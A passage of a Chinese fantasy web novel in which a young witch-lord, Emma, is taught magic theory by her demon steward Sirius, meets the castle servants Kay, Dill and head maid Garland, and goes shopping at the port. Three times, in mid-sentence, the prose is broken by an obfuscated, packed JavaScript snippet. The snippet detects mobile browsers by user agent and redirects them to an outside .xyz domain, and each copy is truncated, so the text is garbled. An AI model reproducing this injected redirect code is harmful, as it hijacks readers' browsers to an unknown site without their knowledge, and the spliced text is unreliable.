女仆长从新购置的那批灯具里挑出一盏六角玻璃灯给艾玛,外加一袋供能的魔法石。这种灯具功率较小,那袋魔法石够她用很久。 领主的房间能有一些特权,艾玛房间的顶灯是独立线路。但是晚上一旦打开,灯光就会明亮得楼底下也看得到,不适合她偷偷摸摸地熬夜看书。 开始学习之后,艾玛就在窗边有了张书桌,床也挪到了窗附近。 她在床上摆上玻璃灯,摊开书和字典,看到不熟悉的字在练习册上写两下加深印象,就这样悄悄地连续看了几个晚上。 西里斯进门的时候,艾玛正趴在床上看书看得入迷,他在房门上重复敲了好几次,艾玛才缓缓意识到,转过头,和西里斯四目相对。 艾玛看了看墙上的挂钟,十一点半了。 她故作镇定地开始收拾床上的东西。 西里斯走过来,把艾玛书桌边的椅子掉了个方向,对着她坐下。 艾玛感到有点心虚。 熄灯时间已经过了,老师和佣人们都劝诫她早睡,熬夜看书也是背着人看的,连雪莉和莫妮卡都不知道,她自然觉得这事不太合理。 但她又想起,正常说来,这个点谁都以为她睡了,西里斯怎么会这时候来找她? 西里斯说:“我在院子里看见您房间有灯光,起码三天了。” 问题消失了。艾玛说:“你眼神真好。” 一句夸奖显然不能把事情敷衍带过。西里斯打量着艾玛的脸色:“您这两天精神不太好。” 熬夜看书影响了她白天的状态,谁都看得出那种疲倦。艾玛心虚地移开了目光。 “我没有指责您的意思。喜欢阅读是好事,只是需要节制。如果您还是觉得白天的时间不够用,我可以帮您再安排一下。” “也,不是……因为怎么都没有看够,所以没忍住想晚上继续看,我确实做得不对……”艾玛捏着书,低着头,“而且晚上特别……安静,看书比白天更容易投入。我的夜视视力很好,晚上的光线更柔和,对我来说正合适。嗯……但这么看书确实,有点,累,白天比平常,更容易犯困了。” “我也以为,因为您是月神的女巫,或许在夜晚更不容易疲劳,所以之前没阻止。但目前看来,您的体质还是普通人类标准,需要正常作息。将来或许会有变化,不过眼前还是早点休息为好。” 艾玛灵光一闪,把握住了她想把握的重点:“‘变化’?那我以后……是不是可能晚上就不用睡觉了?” 西里斯理解到了她真的很喜欢晚上看书:“我不确定。” “会不会像故事里的吸血鬼一样,白天睡觉晚上醒着呢?唔,但是吸血鬼见不得太阳,那不太好,我也没有感觉自己开始害怕阳光银器……” “想来不至于。但具体会怎么变化,我也不知道。我对女巫的了解还是很有限。” 艾玛看着放在床上的书:“以前……妈妈晚上工作会忙到很晚,我总是撑不住先睡着了。父亲有什么客人,也会聊到很迟。大人好像晚上就不容易困了。这也是他们说的‘长大’吗?” “人类的身体很复杂,随着年龄增长,会发生很多变化。成长期的孩子的身体就是比成人需要更多睡眠时间,这些变化会自然而然发生,顺应身体的信号就好。您不用着急‘长大’。” 西里斯耐心地道:“我知道您现在的生活环境和习惯跟以前有很大区别,或许一时难以适应,您可以慢慢调整。作息也是一样,在您认为合适的时间,睡得迟一点也无妨。但如果白天还会感到疲劳,就需要提前睡觉的时间了。” 艾玛点头,点头,表现出虚心认错,从善如流。 “那您现在困了吗?”西里斯问。 艾玛想了想,诚恳地摇头。 “阅读如果让大脑太兴奋,就很难入睡了……”西里斯思考片刻,“那么,我来讲点听了容易让人犯困的事吧。” “很长很无聊的故事?”艾玛好奇地歪头。 “不,来讲点跟魔法有关的事吧。”西里斯微笑,“枯燥的理论课总是很容易让人犯困的。” 说起魔法,艾玛想到最近在厨房认识的小厨师,一个叫苔丝的女孩。 她是受领主雇佣的平民,拿钱办事,因为西里斯开的工资不错,就仍然留了下来。 苔丝就会用魔法。她料理的时候,灶台上的调料、刀具、锅碗瓢盆,全都会听从她的指挥,飞在空中摇摆,像一场厨房交响乐。 苔丝对艾玛说:厨房里有精灵,精灵们是她的朋友。她料理的时候就是在跟朋友们对话,精灵们知道让菜肴更好吃的方法。 苔丝在做菜时总是念念有词,据说她念的是精灵们的名字,“苏丽亚”是糖的精灵,“索莱特”是盐的精灵,“沃利”是油的精灵……她把它们分得很清楚。 厨房里的其他帮佣都对苔丝的说辞不见怪,也觉得看她做菜很有趣。他们看不见苔丝口中的精灵,但仍然愿意配合小女孩嘴上真真假假的故事。 艾玛看见那些浮在空中的厨具旁有着长出翅膀的光点,一挥一挥,真的就像精灵一样。 艾玛把这件事讲给了西里斯:“使用魔法就是跟精灵对话吗?” “啊,也有那样的人。”西里斯对苔丝有印象,“如果您坚定地相信世界上有精灵,能想象出它们的样子,甚至能想象跟他们对话,那么您也可以这样使用魔法。” “我想象不到。”艾玛摇头,“她的精灵们没有理我……” “因为那是她的法术,‘她相信的东西’。但您能看到她施法的过程,就已经能证明您的天赋。” 按照之前为艾玛编造的来历,佣人们也相信她有魔法的天赋,只是因为失忆一起忘干净了。 魔法在普通人眼里是完全搞不明白的东西,在这部分随意编什么说辞都出乎意料地容易被取信。 艾玛本来还有点不安,慢慢习惯之后,深刻感受到了失忆这个借口的好处。 “魔法确实比较抽象,即使是我也很难做出清晰明白的说明。找到感觉之后,使用魔法就像呼吸一样的本能,人不需要理解器官怎样完成呼吸,自然就可以做到。” 西里斯拿过茶几边的一个玻璃杯,向艾玛展示:“先理解什么是‘魔力’比较好。 “用比喻来做个解释:空气中有许多水分,虽然肉眼无法看见,但仍然存在着。空气中的魔力就像这些水分一样存在,形态也有相似之处。 “每个生物体内都天生具有魔力,这是维持生命运转的要素之一,也有人说它们是‘灵魂’的一部分。 “这部分内在魔力无法被检测,每个人体内的魔力量生来不同,所谓‘天赋差异’。它们塑造人内部的形体,直到‘十二岁’——‘至少’十二岁。这个时间并不完全固定。 “当身体上打开一个‘窗口’,使体内外的魔力可以互相沟通,也就是所谓魔法才能‘觉醒’的时刻。没有魔法才能的人,大部分是天生没有这样的‘窗户’,也有人是没有找到窗口的契机。契机到来的时刻,四五十岁才学会魔法的人也不少。 “人体内的魔力就像杯子里的水,因为量有限,会优先流向最需要它的地方。它们会非常诚实地反映主人的内心,因此‘有什么样的愿望,就会展现出怎样的魔法才能’。它们优先满足主人最大的愿望,如果还有盈余,再去填满更小的愿望。 “所以魔法师们最擅长的魔法种类往往单一。而有人最大的愿望也比较浅,有盈余的魔力去填满其他,导致多方面的法术都会一点,所以显现出多种类的均匀才能。 “而女巫和一般魔法师最大的区别就是——女巫的魔力量是‘无限’的。 “‘魔法’的本质,是外部世界中的魔力对于人体内部魔力的‘回应’,由体内魔力向外传达愿望,外界魔力受到同化,由此回应愿望,最终通过外部世界里的魔力变化完成目的。内外的魔力边界非常清晰,虽然可以互相沟通,但不会混淆。 “而对女巫来说,魔力是流动的,这条边界并不固定。 “如果说一般魔法师体内的魔力是一杯固定的水,倒给愿望之后就用完了额度,而女巫的水杯永不枯竭,分给愿望之后也不会消减,永远丰盈。 “换句话说,对女巫而言,决定能力上限的是愿望的数量和大小。愿望越多,能使用的法术种类也越多;执念越重,能使用的魔法就越强。 “所以,我认为,对魔法师来说最重要的三个要素是‘愿望’‘信心’和‘想象力’。 “有想要实现的愿望,实现的决心和自信,想象实现它的方式——不管多么离奇,只要你相信它能实现,魔力就会回应你。这就是魔法。” 西里斯讲完,停下正在倒水的手,把水杯递给艾玛:“有困意了吗?” 艾玛接过水杯,诚恳道:“有一点了。” 她抿了口水,把杯子放下。 西里斯也结束了理论讲解:“那么就说到这里吧。最后,请伸出手。” 艾玛看了看自己的手心。 因为过去的劳作,又缺乏保养,艾玛的手很粗糙,手掌上有厚厚的茧子,经常没有鞋袜的脚上也是一样。 西里斯给了她几瓶他自己调配的植物精油,帮她修复手脚上这些可以治愈的伤,也帮她涂过几次。 艾玛以为西里斯要检验自己调配制品的效果,大大方方地把两只手都伸了过去:“我每天都有记得涂那个油。” 她手上的皲裂少了不少,连茧子都薄了些。西里斯笑了笑,托着她的手背,往她手心里放了块东西。 艾玛有些意外,定睛一看,手里的是块乳白色的卵石,看起来很普通。 西里斯介绍:“这是魔法石。” 艾玛明白了,有一点感动:“送给我点灯吗?谢谢你……但是我这里点灯的石头还够用。我会尽量不再点着灯偷偷看书的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859121|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “天然魔法石要是用来给魔法道具供能,会产生很多能量损耗。拿它点灯就太浪费了。” 艾玛一愣,再次认真地打量了一遍手心里的石头。 合起手掌可以完全包住的大小,摸着没一会儿就带了点体温,硬度和手感跟普通的卵石都没什么区别。 加工过的人造魔法石上往往有特定的花纹,雕刻或描画。而艾玛手心里的石头光滑,对比之下,长得随意又普通。 许多家庭用不起魔法道具,也不怎么接触魔法石。但艾玛的父亲是商人,人造魔法石是他售卖品类的一种,艾玛见过的于是多一些。 他和几位工匠相熟,能用低价从他们那边买到产品。为了炫耀,他在家里留着几件魔法道具,多是质量不佳的残次品,经常在客人造访时拿出来“若无其事”地展示。 这些道具在家里算贵重,但清洁保养也不值得劳动家主的手。 艾玛看母亲擦拭魔法灯具的时候就在旁边看。记得那灯内部好像有什么线断了,后来点起没一会儿就闪闪烁烁,最后完全亮不起来了。 父亲说修好这次品的价格不如买个新的,但也没舍得,顺着话题在家里骂了与他交好的工匠不少话。 要说人造魔法石艾玛从前还接触过一些,对天然魔法石则只有传闻的印象。人造魔法石本已价格不菲,天然魔法石更加珍贵少见。 在那些探险故事里,主人公摸到藏宝的地方,那满洞穴的金银珠宝都得是次要的,最终压轴必然是“主人公打开洞穴深处的藏宝箱,发现里面是满满一箱天然魔法石”。 其实懂行的人才知道,天然魔法石的珍贵并不在于它的罕见,比罕见更让它变得神秘的,是它的“难以分辨”。 天然魔法石在肉眼上和普通石头没什么区别,魔法师能够分辨出少许它和普通石料的不同,但也不完全准确。 集市上常常有那么条街,就摆着各种各样的石头,宣称其中可能有魔法石。 摊主不保证摊上必有真货——但也没准呢?比起鉴宝,更像在做博/彩生意。 人工魔法石之下细分的种类非常多,不同的人工石类型适合的道具也不同。不适配的人工魔法石放进供能槽里,道具运作不起来是轻的,弄不好就双双报废了。 而天然魔法石作为人工魔法石的原型,分类很少。 天然魔法石可以和任何魔法道具兼容,但比起完全适配的人工石,会有很多无法被有效利用的能量溢出,因此用得了天然石的人通常也不会这么浪费。 两者间还有其他的区别,比如人工石能量耗完就报废,而天生地养的天然石只要保管得当,甚至能自行恢复一定的能量,天然石储存的能量比人工石要多上很多,等等等等。 人工石适配道具,为道具而生;天然石却能决定魔法道具的性质,左右道具的属性和效能。用天然魔法石打造的道具,都是根据石块本身的秉性量身定做的。 艾玛对天然魔法石的了解没那么多,听到这个名字后最大的感想是:原来故事里那些藏宝箱装的魔法石是这样。 故事里总说那些天然魔法石多么夺目,比最亮的宝石还璀璨耀眼。艾玛过去在集市看着那些赌石摊位上灰扑扑的石头们,想着要是切开来,不知道它们的截面有没有故事里说的那么闪。 她看完石头,再次抬头看西里斯,想理解他给出这块石头的用意。 “天然魔法石也被称为‘星星的粉末’。有人说,就像我们所生活的这颗地星一样,它们是一个星球的缩影,内含另一个宇宙……不论如何,天然魔法石内部的魔力密度确实比外界魔力密度要高很多,对于初学者练习和魔力沟通来说,我想会有效果。” 艾玛捧着石头,声音放轻了:“听起来好浪漫。” 一颗星星的重量,在手心里似乎有点太重了。 “我真的……能学会吗?”她低声说。 “‘信心’,我的女巫殿下。”西里斯也放低了声音,“如果您还不能够相信自己,就先让我信任您吧。” 艾玛感到他托住了自己的手背,目光抬高,对上西里斯的眼睛。他背对着窗外的月光。 床上的玻璃灯还是太暗了,没能照亮那双暗红的眼瞳,只从边缘溢出一些温润的光。艾玛在那目光中突然感到安心。 “这个……需要咒语吗?”艾玛问。 “没有一种‘咒语’适用于所有的魔法师。即使能达成同一个结果,不同魔法师采用的方式也不一样。‘公式’虽然能成为一种捷径,或者作为参考,但对于初学者来说,我认为是对‘想象力’的限制。您可以先放手尝试……” 房门上传来两声敲击。 一道灯光推开艾玛房间的门,照进房间。端着手持型烛台灯具的女仆长站在门口。 “啊,嘉兰……”艾玛说。“嘉兰”是女仆长的名字。 女仆长向她和西里斯行了礼,西里斯也点头回应。 “已经很迟了。我巡夜的时候听见这边有声音,所以来看看。”她说,目光落到西里斯身上,“西里斯先生,深夜出现在主人的房间并不合礼数。” “我的疏忽。”西里斯回答,打断了艾玛想做出的解释,从椅子上起身,“确实很迟了,您也该休息了。” 艾玛闭上口,看看他们,点了点头。 “那么,告辞。祝您今晚好梦。”西里斯向艾玛行完礼,从门口离开了。 女仆长注视着他走开,又看回房间里,对艾玛说:“如果您有什么事,随时可以来找我。” “好的,谢谢你……晚安。”艾玛说。 确认艾玛看起来确实没有什么需要,女仆长向她行礼告别,关上门。过了一会儿,声音从走廊上远去了。 8.发小 艾玛还没有开始上数学课,但她的数学基础要更好一些。 巷子里的孩子们经常用树枝石头在地上画线画格子做游戏,需要注明数字或计分;她看摊的时候也要临时做点记录,对于一些简单的加减乘除反而很熟练。 从前她是没有资格翻家里账本的,而今时不同往日,艾玛溜达进城堡账房的时候,会计拿出了面对上司查账的认真,十分自信满满地向他们的小领主展示了自己在账本上工整的笔迹,并热情地对一条条账目展开了主动而翔实的介绍。 女仆长对此的评价是:只有凯会这么做,因为他是个蠢货。 凯并不蠢,他自己这么反驳。 凯今年十七岁,确实是犯蠢的大好年纪。 他父亲是会计,从小耳濡目染也跟着学些算账的本领,四年前被家人送进领主城堡,托相熟的女士照顾。那位女士是领主城堡账房的会计师,凯就跟在她身后当学徒。 除开学徒不算,账房共有两位会计师。直到这阵子前领主离开,其中一位顺势退休辞了职,凯就被转了正。 对此,他当然很高兴。但佣人们评价:也难说他是不是特别高兴,毕竟他平常一直挺开心。 十七岁的活蹦乱跳的男孩子,讨人喜欢和欠打的程度成正比。 那位会计女士大多时候觉得他还挺机灵可爱,但听凯在房间里热情地跟艾玛叽叽喳喳了半个小时还没有停止,最终忍无可忍地把人踢出了房间,并礼貌地把艾玛也请了出去。 凯潇洒地挥挥手,说习惯了!反正是女士主动踢我出来的,今天天气不错我翘个班吧! 然后绅士地一弯腰向艾玛……和她身边的雪莉一伸手,说:“两位美丽的小姐,愿意赏光和我一起走走吗?” 艾玛第一次见到凯,大为震撼。 而雪莉像个小大人般面无表情地说:“我妈说你这种人上街是要被打的。” 凯好脾气地表示没事,他妈也这么说。 凯喜欢和女性打交道这件事,同事们都知道,大多理解为“青春期小男孩的萌动,可以理解”。 而且他也不搞年龄外貌歧视,下到小丫头上到老奶奶,只要对象是个女的他就对对方很绅士。 莫妮卡一碰到凯,就会被对方的礼节和满嘴的溢美之词羞得脸颊通红,当场随机抓取一个艾玛或者雪莉这样的幸运朋友躲到对方身后。 而雪莉在家庭教育之下坚持认为凯这种人是“轻浮”“花花公子”,她从不缺人夸,但碰到凯这样夸人次次突如其来直接坦诚半个弯不绕的傻缺,次次内心警铃大作认为对方心怀不轨另有所图。 艾玛觉得场面很像小时候玩的叫“老鹰抓小鸡”的游戏。 至于艾玛,艾玛毫无波动,习惯之后艾玛只会认真地回答:“谢谢你。” 事实上凯平时认真礼貌,情商也高,同事中不论男女对他的评价都还不错。 他虽然喜欢女性,但除了嘴上赞美送花送礼工作搭把手,跟她们的肢体接触最多只有碰下手,碰下手还会不好意思。 听说之后的男同事都沉默了,看他的眼神像关爱智障。 凯自有一套相当认真的理论,虽然听的人对他的认真都很无语。 他很有自知之明地认为,自己无法对某位特定的女性一心一意,肯定会同时被几位不同的女性所吸引,所以为了避免伤害他人的感情和触犯法律,他立志不恋爱不结婚。 为表决心,他在小指上戴了枚代表独身主义的尾戒。 虽然两周下来光艾玛就看见那枚戒指的式样换了三次,一会儿戴左手一会儿戴右手一会儿不戴,不知道是变戏法还是没个定性。 凯说他虽然是真心这么认为的,但他是家里的独生子,他妈知道会打断他的腿,所以为了他的生命安全,回家时他是不戴戒指的。至于换式样就是觉得好看。 迪尔说:你们见谅,因为这小子小时候真被驴踢过脑子,现在这样就让让他吧。 迪尔比凯大两岁,两人是从小玩到大知根知底的损友。 迪尔平时话很少,很符合他作为城堡护卫所需要的那种“人狠话不多”的刻板印象。 冷着一张脸的时候甚至还算好看,具有欺骗性。以前办宴会的负责人就被骗到,因为缺人手,把这长得人模人样的小护卫正装一套按到门口当侍应生去了。 他全程替人开门关门扶人下马车都没什么问题,直到有个客人问他洗手间在哪儿, 迪尔回答:“有标识,您是没长眼睛吗?” 负责人血压险些被他气高了,赶忙把他撤下来,从此再也没敢让迪尔做接待工作。 而西里斯听说之后若有所思,因为最近不请自来的烦人客人太多,他也有点懒得应付,于是认真考虑了让迪尔去接待直接把人气回去的可能性。 凯听雪莉赞扬迪尔的帅气可靠时,呵呵冷笑一声,当场开始倾情介绍迪尔的家庭背景。 迪尔家做的是房屋维修工作,他跟着父亲哥哥锻炼出的力气。但他最早学会的技能就是修补屋顶,从此别人爬树他爬屋,谁得罪了迪尔他就跑去揭谁家的瓦。 小孩一般闹事都不敢闹到家长面前,对迪尔这种一得罪得罪一屋人,且毫无惧意也看不出悔意的狠人竟产生了一些敬畏。 迪尔也就渐渐被敬畏得产生了一些对于自己形象的思考,从此越发面无表情寡言少语。 “他就是觉得少说话比较帅!”凯拍着大腿信誓旦旦,“一开口就完蛋,那小子嘴毒着呢!” 背后议论发小的凯被路过的迪尔当场抓住并进行了一个锁喉。 大约的确是太熟了,他俩在损对方这件事上都挺积极的。 但迪尔不开口的时候看着的确可靠,像个稳重的大哥哥。 陪艾玛在庭院玩的时候会在草地上教她折纸,折成花,折成树,折成兔子。 他很会编花环,教了艾玛她们几次,最后他编的花环一定是结构最稳定、形态最漂亮的。 为了讨好女孩子,凯也没少学编花环之类的活,自取其辱来跟迪尔比试,但比不过他,愤愤把花环往迪尔脑袋上一摔想变比试为决斗。 而迪尔在艾玛面前选择了更沉稳地把他摔的花环取下来,调整重编,一副“我是个成熟的人不跟这傻子一般计较”的表情。 凯输了,输得很彻底! 凯很伤心,凯希望现在最好有哪个善良的女孩子路过能安慰安慰他,正好听见草地上轻盈却稳重的脚步声,满怀希望地望去,看见傍晚的余晖里,嘉兰正挎着篮子走过来。 凯放弃了。 别说安慰,嘉兰要是没给他一拳那一定是因为她今天心情不错。 温布德尔·嘉兰,领主城堡的女仆长,时年十七岁。 艾玛刚知道她的时候很惊讶。女仆长在城堡的佣人中,地位仅次于管家,分担着一半的城堡事务。而嘉兰实在太过年轻了。 但城堡里的人都很信服她。嘉兰对城堡的大小事务都了解,做事干净利落,谈吐仪态得体。 待人平和,处事公正,在佣人中受欢迎也是理所当然的,甚至比初来乍到的西里斯更有人望。 她走到艾玛面前,向她行了一礼。束起的灰色长发有一缕随着倾身越过肩膀,在直起身时被她拨了回去,仿佛连衣角上的皱褶都是一丝不苟的。 嘉兰身上有一种夺目的锐气,与她的年龄相衬,但又有着远超年龄的沉稳。 她的身姿挺拔,没有刻意作态。艾玛听说,她的父亲是一位王室授勋的骑士,她也非常擅长剑术。 这样的话后有几次带了句叹到道一半的“可惜” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868424|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但说的人很快转开了话题。 “温布德尔”是她的姓氏。只有贵族才能拥有姓氏,嘉兰的姓氏是她父亲跟着功勋一起得到的赏赐。 但她平时不强调自己的姓,向人自我介绍时也不会提及,仿佛那是个多余的前缀。 艾玛在她的注视下感到一点拘束,向她点头回礼。 凯却挪到嘉兰身边,保持着一种自认为安全的距离,探头看她手里盖着布的篮子:“嘉兰,你拿着什么呢?” 嘉兰将篮子上盖着的布掀开一角,露出堆着的面包果蔬:“一些食材。” “哇!看起来真不错,给我尝点——”凯眼睛一亮,伸手就要去她篮子里捞东西。 嘉兰动作很快,布一盖篮子一移就摆脱了凯的狩猎范围,并同时给了他一个“别逼我打你”的冰冷眼刀。 大概是相信在艾玛面前他不会真的被打,凯底气很足,撇撇嘴嘟囔了一句“小气”。 嘉兰听见了,嘉兰又瞪了他一眼。 凯在其他女孩子面前绝不这样,但嘉兰不同。 凯和嘉兰的家一墙之隔,是真正从小打到大的邻居。 凯强调,是单方面被打,再怎么样嘉兰也是女孩子,他怎么可能打女的呢! 一旁的迪尔翻翻眼皮,说你要是能打得过她再说这话。 他们三个小时候就经常一起玩,互相都很熟悉。 迪尔知道凯大概什么时候又要被嘉兰揍了;嘉兰和凯都能在迪尔说不该说的话之前堵上他的嘴;另两人在凯犯蠢时都会默契地投去关爱傻子的目光并捞他一把。 嘉兰在他们面前会表现出一些与年龄相符的幼稚,严肃的面具会出现短暂的裂痕,见到的人都会感慨他们关系真好。 凯说这和平的一切都是建立在我的痛苦之上的,你们没有人关心我的心情! 迪尔说可你实在太好哄也太记吃不记打了。 迪尔从草地上起身,掸了掸身上的草叶,走到嘉兰旁边,把手里的花环往她篮子里一放,就往她身后走了。 嘉兰一皱眉:“谢谢。然后,站住,迪尔,把你刚刚拿的东西还回来。” 迪尔目不斜视,把刚刚顺的葡萄塞进了嘴里,快速销赃。 凯顿时瞪大了眼,觉得自己受到了极度不公平的待遇:“喂!你偷跑——嘉兰你凭什么不打他啊!” 嘉兰转过去看他,口吻严肃了一些:“你该给他做个好点的榜样。” “唔。”迪尔的腮帮子被葡萄撑鼓了,但还是板着平时那张面无表情的脸。 “谁拿他做榜样!”凯急了,一副要讨个公道的样子。 嘉兰摘了颗葡萄塞进他嘴里,把凯的话堵住了。 凯皱着眉,好像有话想说,但又收下了贿赂,一边嚼着葡萄一边把委屈咽下去了。 “好吧……”凯看着还是有点想嘀嘀咕咕,“正好你来了。我们刚刚还在说,艾玛大人想去港口看看冰市,趁着这时候冰还没化完,摆摊的人应该不少。” 人们普遍用“女士”“先生”这样的称谓表达对三十岁以上人士的尊敬,不到这个年纪地位却又很高的,经常被统一敬称为“大人”。 艾玛年纪太小,几乎整座城堡里的佣人都这么称呼她。 “艾玛大人想去港口?”嘉兰皱眉,看向艾玛,艾玛点头,“那里人很多,太危险了。” “肯定不是她一个人去嘛。而且除了咱们城堡里的人,没人知道新领主长什么样,有什么危险的。我们就是在说谁陪她去好,你得给人批个假啊……” 嘉兰又塞了一颗葡萄把他后面的话堵上了。 这颗葡萄塞得有点突然,凯懵了,只顾先睁大眼睛嚼嚼嚼。 嘉兰停了片刻,对艾玛说:“如果您决定要去……我可以陪您一起。” 9.逛街 艾玛愣着,凯和迪尔也有点惊讶。 “我会陪她去的。” 一道声音从远些的地方飘来,横里切进了对话。 艾玛听见熟悉的声音,向那边望去,西里斯正向他们走过来。 凯立刻把嘴里的葡萄咽下了,迪尔也端正了站姿。 他们在嘉兰面前随意是因为相熟,对西里斯还是要在乎礼节。 西里斯向他们点了点头,向艾玛屈下膝,将坐着的她从草地上拉起来。 艾玛站稳之后还在想刚才的话,仍然惊讶地看着西里斯。 “您想出去逛逛的话,我陪您去吧。明天怎么样?明天的天气不错。” “可是明天有课。” “如果您确定要去,我会帮您推掉的。” 艾玛放心了,确认他的提议:“那就明天吧。” 嘉兰等他们说完,才道:“您很忙,西里斯先生。抽出一天时间不容易。” “陪主人出门散心的工夫还是有的。也给我自己休个假。”西里斯看向她,“工作我回来会处理。如果有什么急事,你可以拿主意。” 嘉兰和他对视了片刻,向西里斯行礼致意:“我明白了。” “辛苦了。”他对嘉兰说完,又看向艾玛,“已经是晚餐时间了,我们回去吧。” “我还有事要处理,先失陪了。祝二位明天玩得愉快。”嘉兰向他们告辞,艾玛向她挥了挥手。 嘉兰转身离开的动作都很利落,浅灰色的长发划开周遭的空气,夕阳与黄昏都要为她身上的冷色避让三分。 艾玛看着她的身影想。像一柄开刃的长刀。 凯和迪尔对了个眼色,也一起行礼告辞。 西里斯则牵着艾玛走向城堡的方向。 没有其他人了。 艾玛片刻后才说,陈述的语气:“她不太喜欢我。” 西里斯没有否认。他说:“您很敏锐。” “嘉兰和布雷德尔·德尔薇小姐——也就是上任领主的胞妹——关系很好,对于布雷德尔家仓促离开的事持有疑虑,想必因此对您也抱有一些敌意。” 艾玛说:“所以你不希望她陪我出去?” “嗯,我还不能信任她,和她关系太好的人也一样。在城堡这边我能及时发现异状,在外面就难办了。” “即使她不喜欢我,看起来也没到会对我做什么的地步。” “谨慎些总是好的。您不希望我陪您出去吗?” 艾玛顿了顿,垂下眼睛:“没有……就是,你太忙了,我好像又给你添了麻烦。” “即使我不会累,也会想从那么多事里出来喘口气,这对我也算休假。”西里斯笑笑,又沉思地将目光投向远处,“当然……长期没有信得过的人不行,但是急不来……我会把握好的。” “嗯。”艾玛肯定地说,“我相信你。” 西里斯看了她一眼,没再说话。 艾玛看着手上的花环,开始想,要是把花环给西里斯戴上,他会生气吗? 尺寸是她凭感觉比划的,很可能不准确。花的颜色不一定合适。 她手上的花环是自己编的,还很生疏,比迪尔的差远了。 她知道,如果她希望西里斯戴上花环,他不会拒绝。但表现出来的情绪和他实际的心情是两回事。 在艾玛认识的人之中,西里斯一定是最难猜测心情和喜恶的那档,即使亲口说的也未必是真话。他对艾玛已经算坦诚,但在情绪上,艾玛仍然觉得他是有所保留的。 艾玛觉得,她还是太不了解西里斯了。因此最终她也没有送出花环,直到回到城堡前都把它捏在手上。 工艺品店橱窗里摆的装饰品吸引了艾玛的注意。 那是一支玻璃瓶,里面装着几种密度不同的液体,掺上深浅不同的蓝色染料分了层,液体中还混着石子和玻璃粉末。 瓶中央是艘模型小船,它稳稳地飘在液体上,任凭瓶身如何颠来倒去,掀起的风浪都无法让它沉没。 艾玛把瓶子举起来,模模糊糊透过蓝色的液体,在那艘小船底上看到一个雕刻的大写字母“E”。 工艺品店的东西都很精贵,一不小心就会损坏。 艾玛和西里斯一进店就有服务生客气地过来盯着他们,尤其是客人中有个小孩,服务生比平时打起了更高的精神,随时准备在商品损坏后索要赔偿。 艾玛觉得这个瓶中小船很有趣,想问西里斯些什么,但是服务生跟得太紧了。 西里斯事先强调过,有什么想要的东西告诉他,让他直接付钱就行,不要用商量的口吻。 于是她把玻璃瓶交给西里斯,让他去结账。服务生见状也松了口气,热情地引他们去收银台。 西里斯说过,钱不是问题。 当然,在艾玛提出第一个愿望后,他拿出买下一座城市的财富都毫不觉得为难。 艾玛也没问过他哪儿来那么多财宝,一个恶魔有自己的私人藏宝库好像再正常不过——故事里总这么写,恶魔们都挥金如土。 而且,西里斯还是个很强的魔法师,关于魔法师的传说中很出名的一条就是点石成金,西里斯要是会这本事,艾玛也不觉得奇怪。 这瓶中船倒没有贵到比拟金子,西里斯用银币付完了账。 各个国家有不同形制的铸币,但也只能在各国国内通行。艾玛见过父亲和外国人做生意,拿着秤砣,在秤上放上两国的金币,根据对等的货币重量交易。 在跨国贸易中,通用性极强的金银是很常见的,即使货币形制不同,拿回本国也可以找专门的工匠把货币融了重铸,铸成本国货币的形制。 虽然政府对这块还是管得紧,重铸货币需要登记,还要交手续费,也有不少商人为省这笔钱,直接用金银原料或各地换来的货币按重量交易,当然由于其不合法不合规也有更多风险。 同一克金子在一个国家和另一个国家的购买力不同,艾玛的父亲和外国商人做交易总要争论上很久,要谈出一个双方都满意的结果可不容易。 跨国交易中还是以物易物更盛行,双方用本国的特色商品交换,各自都觉得自己占了便宜。 艾玛突然想到一个之前没思考过的问题。 “虽然重量相同的货币价值也可能不同——但是不同国家之间,对重量的计量单位好像是一样的。”艾玛想了想,“长度也是。” “是的。‘重量’‘尺度’‘容积’,还有‘时间’‘语言’‘历法’,都有通用的标准。实在很了不起。”西里斯点头, “这是‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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西里斯也“啊”了一声,似笑非笑:“怪不得——您当时答应得可真快。怎么会有这样的误解?” “想到了一些……以前听过的故事。”艾玛看着斜方的虚空,“名词有点像,就……理所当然地,联想了。” “我不会对您做那么失礼的事。不过,虽然是个误会,从结果来说,您决定了要和我签订契约,看来我运气确实很好。” 艾玛犹豫了一下,抬眼看他:“可是……那样的提议对你不是很不利吗?如果‘女巫’真有那么少见,又那么难遇到,你还给了我那么多拒绝的选项,这很不合理。” “对于‘商人’来说,确实犯遍了谈判的忌讳。”西里斯笑了笑,语气很淡,“但我也不觉得那是‘生意’。没有什么能拿来衡量您的生命。魔法师多少会信些虚无缥缈的东西……我也相信‘缘分’——小心。” 西里斯伸手帮她挡了一下,一个少年撞在他身上,被撞开了两步,没道歉又迅速跑开了。 “没事吧?”艾玛下意识地关心,皱眉看向刚刚那个少年跑开的身影,“今天的第三个了。这里人这么多,怎么还横冲直撞……” “是啊。”西里斯淡淡道,“真不小心。” 10.意外 港口还结着冰,只是冰层已经很薄了。 